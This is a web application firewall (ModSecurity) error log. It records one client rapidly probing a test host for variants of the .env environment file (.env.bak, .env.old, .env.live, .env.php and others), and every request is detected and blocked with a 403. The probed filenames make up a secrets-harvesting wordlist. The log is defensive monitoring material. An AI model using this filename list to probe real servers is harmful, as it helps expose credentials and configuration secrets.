[Fri Mar 13 10:38:53.742491 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abPbLfmn1dy9zAV7pLBYbAAAAAA"]
[Fri Mar 13 10:38:53.742720 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abPbLfmn1dy9zAV7pLBYbAAAAAA"]
[Fri Mar 13 10:38:53.742906 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abPbLfmn1dy9zAV7pLBYbAAAAAA"]
[Fri Mar 13 10:38:53.743056 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abPbLfmn1dy9zAV7pLBYbAAAAAA"]
[Fri Mar 13 10:38:53.765571 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abPbLfmn1dy9zAV7pLBYbQAAAAA"]
[Fri Mar 13 10:38:53.765818 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abPbLfmn1dy9zAV7pLBYbQAAAAA"]
[Fri Mar 13 10:38:53.766005 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abPbLfmn1dy9zAV7pLBYbQAAAAA"]
[Fri Mar 13 10:38:53.766174 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abPbLfmn1dy9zAV7pLBYbQAAAAA"]
[Fri Mar 13 10:38:53.788934 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "abPbLfmn1dy9zAV7pLBYbgAAAAA"]
[Fri Mar 13 10:38:53.789175 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "abPbLfmn1dy9zAV7pLBYbgAAAAA"]
[Fri Mar 13 10:38:53.789372 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "abPbLfmn1dy9zAV7pLBYbgAAAAA"]
[Fri Mar 13 10:38:53.789533 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.config"] [unique_id "abPbLfmn1dy9zAV7pLBYbgAAAAA"]
[Fri Mar 13 10:38:53.811855 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abPbLfmn1dy9zAV7pLBYbwAAAAA"]
[Fri Mar 13 10:38:53.812054 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abPbLfmn1dy9zAV7pLBYbwAAAAA"]
[Fri Mar 13 10:38:53.812214 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "abPbLfmn1dy9zAV7pLBYbwAAAAA"]
[Fri Mar 13 10:38:53.834787 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abPbLfmn1dy9zAV7pLBYcAAAAAA"]
[Fri Mar 13 10:38:53.835013 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abPbLfmn1dy9zAV7pLBYcAAAAAA"]
[Fri Mar 13 10:38:53.835170 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abPbLfmn1dy9zAV7pLBYcAAAAAA"]
[Fri Mar 13 10:38:53.857480 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "abPbLfmn1dy9zAV7pLBYcQAAAAA"]
[Fri Mar 13 10:38:53.857693 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "abPbLfmn1dy9zAV7pLBYcQAAAAA"]
[Fri Mar 13 10:38:53.857837 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "abPbLfmn1dy9zAV7pLBYcQAAAAA"]
[Fri Mar 13 10:38:53.880829 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "abPbLfmn1dy9zAV7pLBYcgAAAAA"]
[Fri Mar 13 10:38:53.881059 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "abPbLfmn1dy9zAV7pLBYcgAAAAA"]
[Fri Mar 13 10:38:53.881231 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker.dev"] [unique_id "abPbLfmn1dy9zAV7pLBYcgAAAAA"]
[Fri Mar 13 10:38:53.903959 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.int"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.int"] [unique_id "abPbLfmn1dy9zAV7pLBYcwAAAAA"]
[Fri Mar 13 10:38:53.904192 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.int"] [unique_id "abPbLfmn1dy9zAV7pLBYcwAAAAA"]
[Fri Mar 13 10:38:53.904347 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.int"] [unique_id "abPbLfmn1dy9zAV7pLBYcwAAAAA"]
[Fri Mar 13 10:38:53.927442 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abPbLfmn1dy9zAV7pLBYdAAAAAA"]
[Fri Mar 13 10:38:53.927635 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abPbLfmn1dy9zAV7pLBYdAAAAAA"]
[Fri Mar 13 10:38:53.927788 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abPbLfmn1dy9zAV7pLBYdAAAAAA"]
[Fri Mar 13 10:38:53.949980 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abPbLfmn1dy9zAV7pLBYdQAAAAA"]
[Fri Mar 13 10:38:53.950204 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abPbLfmn1dy9zAV7pLBYdQAAAAA"]
[Fri Mar 13 10:38:53.950409 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abPbLfmn1dy9zAV7pLBYdQAAAAA"]
[Fri Mar 13 10:38:53.950553 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abPbLfmn1dy9zAV7pLBYdQAAAAA"]
[Fri Mar 13 10:38:53.973014 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "abPbLfmn1dy9zAV7pLBYdgAAAAA"]
[Fri Mar 13 10:38:53.973205 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "abPbLfmn1dy9zAV7pLBYdgAAAAA"]
[Fri Mar 13 10:38:53.973346 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "abPbLfmn1dy9zAV7pLBYdgAAAAA"]
